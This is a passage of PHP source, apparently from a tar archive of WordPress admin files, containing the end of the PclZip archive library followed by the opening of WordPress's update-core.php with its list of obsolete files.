$v_data['offset']; $p_central_dir['size'] = $v_data['size']; $p_central_dir['disk'] = $v_data['disk']; $p_central_dir['disk_start'] = $v_data['disk_start']; // TBC //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) { //} // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privDeleteByRule() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privDeleteByRule(&$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); // ----- Open the zip file if (($v_result=$this->privOpenFd('rb')) != 1) { // ----- Return return $v_result; } // ----- Read the central directory informations $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } // ----- Go to beginning of File @rewind($this->zip_fd); // ----- Scan all the files // ----- Start at beginning of Central Dir $v_pos_entry = $v_central_dir['offset']; @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { // ----- Close the zip file $this->privCloseFd(); // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); // ----- Return return PclZip::errorCode(); } // ----- Read each entry $v_header_list = array(); $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) { // ----- Read the file header $v_header_list[$v_nb_extracted] = array(); if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) { // ----- Close the zip file $this->privCloseFd(); return $v_result; } // ----- Store the index $v_header_list[$v_nb_extracted]['index'] = $i; // ----- Look for the specific extract rules $v_found = false; // ----- Look for extract by name rule if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { // ----- Look if the filename is in the list for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) { // ----- Look for a directory if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") { // ----- Look if the directory is in the filename path if ( (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */ && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } } // ----- Look for a filename elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_found = true; } } } // ----- Look for extract by ereg rule // ereg() is deprecated with PHP 5.3 /* else if ( (isset($p_options[PCLZIP_OPT_BY_EREG])) && ($p_options[PCLZIP_OPT_BY_EREG] != "")) { if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { $v_found = true; } } */ // ----- Look for extract by preg rule else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { $v_found = true; } } // ----- Look for extract by index rule else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { // ----- Look if the index is in the list for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) { if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { $v_found = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { break; } } } else { $v_found = true; } // ----- Look for deletion if ($v_found) { unset($v_header_list[$v_nb_extracted]); } else { $v_nb_extracted++; } } // ----- Look if something need to be deleted if ($v_nb_extracted > 0) { // ----- Creates a temporay file $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; // ----- Creates a temporary zip archive $v_temp_zip = new PclZip($v_zip_temp_name); // ----- Open the temporary zip file in write mode if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) { $this->privCloseFd(); // ----- Return return $v_result; } // ----- Look which file need to be kept for ($i=0; $i<sizeof($v_header_list); $i++) { // ----- Calculate the position of the header @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) { // ----- Close the zip file $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); // ----- Return return PclZip::errorCode(); } // ----- Read the file header $v_local_header = array(); if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) { // ----- Close the zip file $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); // ----- Return return $v_result; } // ----- Check that local file header is same as central file header if ($this->privCheckFileHeaders($v_local_header, $v_header_list[$i]) != 1) { // TBC } unset($v_local_header); // ----- Write the file header if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) { // ----- Close the zip file $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); // ----- Return return $v_result; } // ----- Read/write the data block if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) { // ----- Close the zip file $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); // ----- Return return $v_result; } } // ----- Store the offset of the central dir $v_offset = @ftell($v_temp_zip->zip_fd); // ----- Re-Create the Central Dir files header for ($i=0; $i<sizeof($v_header_list); $i++) { // ----- Create the file header if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) { $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); // ----- Return return $v_result; } // ----- Transform the header to a 'usable' info $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } // ----- Zip file comment $v_comment = ''; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } // ----- Calculate the size of the central header $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset; // ----- Create the central dir footer if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) { // ----- Reset the file list unset($v_header_list); $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); // ----- Return return $v_result; } // ----- Close $v_temp_zip->privCloseFd(); $this->privCloseFd(); // ----- Delete the zip file // TBC : I should test the result ... @unlink($this->zipname); // ----- Rename the temporary file // TBC : I should test the result ... //@rename($v_zip_temp_name, $this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); // ----- Destroy the temporary archive unset($v_temp_zip); } // ----- Remove every files : reset the file else if ($v_central_dir['entries'] != 0) { $this->privCloseFd(); if (($v_result = $this->privOpenFd('wb')) != 1) { return $v_result; } if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) { return $v_result; } $this->privCloseFd(); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privDirCheck() // Description : // Check if a directory exists, if not it creates it and all the parents directory // which may be useful. // Parameters : // $p_dir : Directory path to check. // Return Values : // 1 : OK // -1 : Unable to create directory // -------------------------------------------------------------------------------- function privDirCheck($p_dir, $p_is_dir=false) { $v_result = 1; // ----- Remove the final '/' if (($p_is_dir) && (substr($p_dir, -1)=='/')) { $p_dir = substr($p_dir, 0, strlen($p_dir)-1); } // ----- Check the directory availability if ((is_dir($p_dir)) || ($p_dir == "")) { return 1; } // ----- Extract parent directory $p_parent_dir = dirname($p_dir); // ----- Just a check if ($p_parent_dir != $p_dir) { // ----- Look for parent directory if ($p_parent_dir != "") { if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) { return $v_result; } } } // ----- Create the directory if (!@mkdir($p_dir, 0777)) { // ----- Error log PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'"); // ----- Return return PclZip::errorCode(); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privMerge() // Description : // If $p_archive_to_add does not exist, the function exit with a success result. // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privMerge(&$p_archive_to_add) { $v_result=1; // ----- Look if the archive_to_add exists if (!is_file($p_archive_to_add->zipname)) { // ----- Nothing to merge, so merge is a success $v_result = 1; // ----- Return return $v_result; } // ----- Look if the archive exists if (!is_file($this->zipname)) { // ----- Do a duplicate $v_result = $this->privDuplicate($p_archive_to_add->zipname); // ----- Return return $v_result; } // ----- Open the zip file if (($v_result=$this->privOpenFd('rb')) != 1) { // ----- Return return $v_result; } // ----- Read the central directory informations $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } // ----- Go to beginning of File @rewind($this->zip_fd); // ----- Open the archive_to_add file if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1) { $this->privCloseFd(); // ----- Return return $v_result; } // ----- Read the central directory informations $v_central_dir_to_add = array(); if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); return $v_result; } // ----- Go to beginning of File @rewind($p_archive_to_add->zip_fd); // ----- Creates a temporay file $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; // ----- Open the temporary file in write mode if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); // ----- Return return PclZip::errorCode(); } // ----- Copy the files from the archive to the temporary file // TBC : Here I should better append the file and go back to erase the central dir $v_size = $v_central_dir['offset']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Copy the files from the archive_to_add into the temporary file $v_size = $v_central_dir_to_add['offset']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Store the offset of the central dir $v_offset = @ftell($v_zip_temp_fd); // ----- Copy the block of file headers from the old archive $v_size = $v_central_dir['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Copy the block of file headers from the archive_to_add $v_size = $v_central_dir_to_add['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Merge the file comments $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment']; // ----- Calculate the size of the (new) central header $v_size = @ftell($v_zip_temp_fd)-$v_offset; // ----- Swap the file descriptor // Here is a trick : I swap the temporary fd with the zip fd, in order to use // the following methods on the temporary fil and not the real archive fd $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; // ----- Create the central dir footer if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); @fclose($v_zip_temp_fd); $this->zip_fd = null; // ----- Reset the file list unset($v_header_list); // ----- Return return $v_result; } // ----- Swap back the file descriptor $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; // ----- Close $this->privCloseFd(); $p_archive_to_add->privCloseFd(); // ----- Close the temporary file @fclose($v_zip_temp_fd); // ----- Delete the zip file // TBC : I should test the result ... @unlink($this->zipname); // ----- Rename the temporary file // TBC : I should test the result ... //@rename($v_zip_temp_name, $this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privDuplicate() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privDuplicate($p_archive_filename) { $v_result=1; // ----- Look if the $p_archive_filename exists if (!is_file($p_archive_filename)) { // ----- Nothing to duplicate, so duplicate is a success. $v_result = 1; // ----- Return return $v_result; } // ----- Open the zip file if (($v_result=$this->privOpenFd('wb')) != 1) { // ----- Return return $v_result; } // ----- Open the temporary file in write mode if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0) { $this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode'); // ----- Return return PclZip::errorCode(); } // ----- Copy the files from the archive to the temporary file // TBC : Here I should better append the file and go back to erase the central dir $v_size = filesize($p_archive_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } // ----- Close $this->privCloseFd(); // ----- Close the temporary file @fclose($v_zip_temp_fd); // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privErrorLog() // Description : // Parameters : // -------------------------------------------------------------------------------- function privErrorLog($p_error_code=0, $p_error_string='') { if (PCLZIP_ERROR_EXTERNAL == 1) { PclError($p_error_code, $p_error_string); } else { $this->error_code = $p_error_code; $this->error_string = $p_error_string; } } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privErrorReset() // Description : // Parameters : // -------------------------------------------------------------------------------- function privErrorReset() { if (PCLZIP_ERROR_EXTERNAL == 1) { PclErrorReset(); } else { $this->error_code = 0; $this->error_string = ''; } } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privDisableMagicQuotes() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privDisableMagicQuotes() { $v_result=1; // ----- Look if function exists if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } // ----- Look if already done if ($this->magic_quotes_status != -1) { return $v_result; } // ----- Get and memorize the magic_quote value $this->magic_quotes_status = @get_magic_quotes_runtime(); // ----- Disable magic_quotes if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime(0); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : privSwapBackMagicQuotes() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function privSwapBackMagicQuotes() { $v_result=1; // ----- Look if function exists if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } // ----- Look if something to do if ($this->magic_quotes_status != -1) { return $v_result; } // ----- Swap back magic_quotes if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime($this->magic_quotes_status); } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- } // End of class // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : PclZipUtilPathReduction() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function PclZipUtilPathReduction($p_dir) { $v_result = ""; // ----- Look for not empty path if ($p_dir != "") { // ----- Explode path by directory names $v_list = explode("/", $p_dir); // ----- Study directories from last to first $v_skip = 0; for ($i=sizeof($v_list)-1; $i>=0; $i--) { // ----- Look for current path if ($v_list[$i] == ".") { // ----- Ignore this directory // Should be the first $i=0, but no check is done } else if ($v_list[$i] == "..") { $v_skip++; } else if ($v_list[$i] == "") { // ----- First '/' i.e. root slash if ($i == 0) { $v_result = "/".$v_result; if ($v_skip > 0) { // ----- It is an invalid path, so the path is not modified // TBC $v_result = $p_dir; $v_skip = 0; } } // ----- Last '/' i.e. indicates a directory else if ($i == (sizeof($v_list)-1)) { $v_result = $v_list[$i]; } // ----- Double '/' inside the path else { // ----- Ignore only the double '//' in path, // but not the first and last '/' } } else { // ----- Look for item to skip if ($v_skip > 0) { $v_skip--; } else { $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); } } } // ----- Look for skip if ($v_skip > 0) { while ($v_skip > 0) { $v_result = '../'.$v_result; $v_skip--; } } } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : PclZipUtilPathInclusion() // Description : // This function indicates if the path $p_path is under the $p_dir tree. Or, // said in an other way, if the file or sub-dir $p_path is inside the dir // $p_dir. // The function indicates also if the path is exactly the same as the dir. // This function supports path with duplicated '/' like '//', but does not // support '.' or '..' statements. // Parameters : // Return Values : // 0 if $p_path is not inside directory $p_dir // 1 if $p_path is inside directory $p_dir // 2 if $p_path is exactly the same as $p_dir // -------------------------------------------------------------------------------- function PclZipUtilPathInclusion($p_dir, $p_path) { $v_result = 1; // ----- Look for path beginning by ./ if ( ($p_dir == '.') || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) { $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1); } if ( ($p_path == '.') || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) { $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1); } // ----- Explode dir and path by directory separator $v_list_dir = explode("/", $p_dir); $v_list_dir_size = sizeof($v_list_dir); $v_list_path = explode("/", $p_path); $v_list_path_size = sizeof($v_list_path); // ----- Study directories paths $i = 0; $j = 0; while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) { // ----- Look for empty dir (path reduction) if ($v_list_dir[$i] == '') { $i++; continue; } if ($v_list_path[$j] == '') { $j++; continue; } // ----- Compare the items if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) { $v_result = 0; } // ----- Next items $i++; $j++; } // ----- Look if everything seems to be the same if ($v_result) { // ----- Skip all the empty items while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++; while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++; if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) { // ----- There are exactly the same $v_result = 2; } else if ($i < $v_list_dir_size) { // ----- The path is shorter than the dir $v_result = 0; } } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : PclZipUtilCopyBlock() // Description : // Parameters : // $p_mode : read/write compression mode // 0 : src & dest normal // 1 : src gzip, dest normal // 2 : src normal, dest gzip // 3 : src & dest gzip // Return Values : // -------------------------------------------------------------------------------- function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0) { $v_result = 1; if ($p_mode==0) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==1) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==2) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==3) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : PclZipUtilRename() // Description : // This function tries to do a simple rename() function. If it fails, it // tries to copy the $p_src file in a new $p_dest file and then unlink the // first one. // Parameters : // $p_src : Old filename // $p_dest : New filename // Return Values : // 1 on success, 0 on failure. // -------------------------------------------------------------------------------- function PclZipUtilRename($p_src, $p_dest) { $v_result = 1; // ----- Try to rename the files if (!@rename($p_src, $p_dest)) { // ----- Try to copy & unlink the src if (!@copy($p_src, $p_dest)) { $v_result = 0; } else if (!@unlink($p_src)) { $v_result = 0; } } // ----- Return return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : PclZipUtilOptionText() // Description : // Translate option value in text. Mainly for debug purpose. // Parameters : // $p_option : the option value. // Return Values : // The option text value. // -------------------------------------------------------------------------------- function PclZipUtilOptionText($p_option) { $v_list = get_defined_constants(); for (reset($v_list); $v_key = key($v_list); next($v_list)) { $v_prefix = substr($v_key, 0, 10); if (( ($v_prefix == 'PCLZIP_OPT') || ($v_prefix == 'PCLZIP_CB_') || ($v_prefix == 'PCLZIP_ATT')) && ($v_list[$v_key] == $p_option)) { return $v_key; } } $v_result = 'Unknown'; return $v_result; } // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : PclZipUtilTranslateWinPath() // Description : // Translate windows path by replacing '\' by '/' and optionally removing // drive letter. // Parameters : // $p_path : path to translate. // $p_remove_disk_letter : true | false // Return Values : // The path translated. // -------------------------------------------------------------------------------- function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true) { if (stristr(php_uname(), 'windows')) { // ----- Look for potential disk letter if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) { $p_path = substr($p_path, $v_position+1); } // ----- Change potential windows directory separator if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) { $p_path = strtr($p_path, '\\', '/'); } } return $p_path; } // -------------------------------------------------------------------------------- ?> update-core.php000077700000136622151514577750007527 0ustar00<?php /** * WordPress core upgrade functionality. * * @package WordPress * @subpackage Administration * @since 2.7.0 */ /** * Stores files to be deleted. * * @since 2.7.0 * @global array $_old_files * @var array * @name $_old_files */ global $_old_files; $_old_files = array( // 2.0 'wp-admin/import-b2.php', 'wp-admin/import-blogger.php', 'wp-admin/import-greymatter.php', 'wp-admin/import-livejournal.php', 'wp-admin/import-mt.php', 'wp-admin/import-rss.php', 'wp-admin/import-textpattern.php', 'wp-admin/quicktags.js', 'wp-images/fade-butt.png', 'wp-images/get-firefox.png', 'wp-images/header-shadow.png', 'wp-images/smilies', 'wp-images/wp-small.png', 'wp-images/wpminilogo.png', 'wp.php', // 2.0.8 'wp-includes/js/tinymce/plugins/inlinepopups/readme.txt', // 2.1 'wp-admin/edit-form-ajax-cat.php', 'wp-admin/execute-pings.php', 'wp-admin/inline-uploading.php', 'wp-admin/link-categories.php', 'wp-admin/list-manipulation.js', 'wp-admin/list-manipulation.php', 'wp-includes/comment-functions.php', 'wp-includes/feed-functions.php', 'wp-includes/functions-compat.php', 'wp-includes/functions-formatting.php', 'wp-includes/functions-post.php', 'wp-includes/js/dbx-key.js', 'wp-includes/js/tinymce/plugins/autosave/langs/cs.js', 'wp-includes/js/tinymce/plugins/autosave/langs/sv.js', 'wp-includes/links.php', 'wp-includes/pluggable-functions.php', 'wp-includes/template-functions-author.php', 'wp-includes/template-functions-category.php', 'wp-includes/template-functions-general.php', 'wp-includes/template-functions-links.php', 'wp-includes/template-functions-post.php', 'wp-includes/wp-l10n.php', // 2.2 'wp-admin/cat-js.php', 'wp-admin/import/b2.php', 'wp-includes/js/autosave-js.php', 'wp-includes/js/list-manipulation-js.php', 'wp-includes/js/wp-ajax-js.php', // 2.3 'wp-admin/admin-db.php', 'wp-admin/cat.js', 'wp-admin/categories.js', 'wp-admin/custom-fields.js', 'wp-admin/dbx-admin-key.js', 'wp-admin/edit-comments.js', 'wp-admin/install-rtl.css', 'wp-admin/install.css', 'wp-admin/upgrade-schema.php', 'wp-admin/upload-functions.php', 'wp-admin/upload-rtl.css', 'wp-admin/upload.css', 'wp-admin/upload.js', 'wp-admin/users.js', 'wp-admin/widgets-rtl.css', 'wp-admin/widgets.css', 'wp-admin/xfn.js', 'wp-includes/js/tinymce/license.html', // 2.5 'wp-admin/css/upload.css', 'wp-admin/images/box-bg-left.gif', 'wp-admin/images/box-bg-right.gif', 'wp-admin/images/box-bg.gif', 'wp-admin/images/box-butt-left.gif', 'wp-admin/images/box-butt-right.gif', 'wp-admin/images/box-butt.gif', 'wp-admin/images/box-head-left.gif', 'wp-admin/images/box-head-right.gif', 'wp-admin/images/box-head.gif', 'wp-admin/images/heading-bg.gif', 'wp-admin/images/login-bkg-bottom.gif', 'wp-admin/images/login-bkg-tile.gif', 'wp-admin/images/notice.gif', 'wp-admin/images/toggle.gif', 'wp-admin/includes/upload.php', 'wp-admin/js/dbx-admin-key.js', 'wp-admin/js/link-cat.js', 'wp-admin/profile-update.php', 'wp-admin/templates.php', 'wp-includes/images/wlw/WpComments.png', 'wp-includes/images/wlw/WpIcon.png', 'wp-includes/images/wlw/WpWatermark.png', 'wp-includes/js/dbx.js', 'wp-includes/js/fat.js', 'wp-includes/js/list-manipulation.js', 'wp-includes/js/tinymce/langs/en.js', 'wp-includes/js/tinymce/plugins/autosave/editor_plugin_src.js', 'wp-includes/js/tinymce/plugins/autosave/langs', 'wp-includes/js/tinymce/plugins/directionality/images', 'wp-includes/js/tinymce/plugins/directionality/langs', 'wp-includes/js/tinymce/plugins/inlinepopups/css', 'wp-includes/js/tinymce/plugins/inlinepopups/images', 'wp-includes/js/tinymce/plugins/inlinepopups/jscripts', 'wp-includes/js/tinymce/plugins/paste/images', 'wp-includes/js/tinymce/plugins/paste/jscripts', 'wp-includes/js/tinymce/plugins/paste/langs', 'wp-includes/js/tinymce/plugins/spellchecker/classes/HttpClient.class.php', 'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyGoogleSpell.class.php', 'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspell.class.php', 'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspellShell.class.php', 'wp-includes/js/tinymce/plugins/spellchecker/css/spellchecker.css', 'wp-includes/js/tinymce/plugins/spellchecker/images', 'wp-includes/js/tinymce/plugins/spellchecker/langs', 'wp-includes/js/tinymce/plugins/spellchecker/tinyspell.php', 'wp-includes/js/tinymce/plugins/wordpress/images', 'wp-includes/js/tinymce/plugins/wordpress/langs', 'wp-includes/js/tinymce/plugins/wordpress/wordpress.css', 'wp-includes/js/tinymce/plugins/wphelp', 'wp-includes/js/tinymce/themes/advanced/css', 'wp-includes/js/tinymce/themes/advanced/images', 'wp-includes/js/tinymce/themes/advanced/jscripts', 'wp-includes/js/tinymce/themes/advanced/langs', // 2.5.1 'wp-includes/js/tinymce/tiny_mce_gzip.php', // 2.6 'wp-admin/bookmarklet.php', 'wp-includes/js/jquery/jquery.dimensions.min.js', 'wp-includes/js/tinymce/plugins/wordpress/popups.css', 'wp-includes/js/wp-ajax.js', // 2.7 'wp-admin/css/press-this-ie-rtl.css', 'wp-admin/css/press-this-ie.css', 'wp-admin/css/upload-rtl.css', 'wp-admin/edit-form.php', 'wp-admin/images/comment-pill.gif', 'wp-admin/images/comment-stalk-classic.gif', 'wp-admin/images/comment-stalk-fresh.gif', 'wp-admin/images/comment-stalk-rtl.gif', 'wp-admin/images/del.png', 'wp-admin/images/gear.png', 'wp-admin/images/media-button-gallery.gif', 'wp-admin/images/media-buttons.gif', 'wp-admin/images/postbox-bg.gif', 'wp-admin/images/tab.png', 'wp-admin/images/tail.gif', 'wp-admin/js/forms.js', 'wp-admin/js/upload.js', 'wp-admin/link-import.php', 'wp-includes/images/audio.png', 'wp-includes/images/css.png', 'wp-includes/images/default.png', 'wp-includes/images/doc.png', 'wp-includes/images/exe.png', 'wp-includes/images/html.png', 'wp-includes/images/js.png', 'wp-includes/images/pdf.png', 'wp-includes/images/swf.png', 'wp-includes/images/tar.png', 'wp-includes/images/text.png', 'wp-includes/images/video.png', 'wp-includes/images/zip.png', 'wp-includes/js/tinymce/tiny_mce_config.php', 'wp-includes/js/tinymce/tiny_mce_ext.js', // 2.8 'wp-admin/js/users.js', 'wp-includes/js/swfupload/plugins/swfupload.documentready.js', 'wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js', 'wp-includes/js/swfupload/swfupload_f9.swf', 'wp-includes/js/tinymce/plugins/autosave', 'wp-includes/js/tinymce/plugins/paste/css', 'wp-includes/js/tinymce/utils/mclayer.js', 'wp-includes/js/tinymce/wordpress.css', // 2.8.5 'wp-admin/import/btt.php', 'wp-admin/import/jkw.php', // 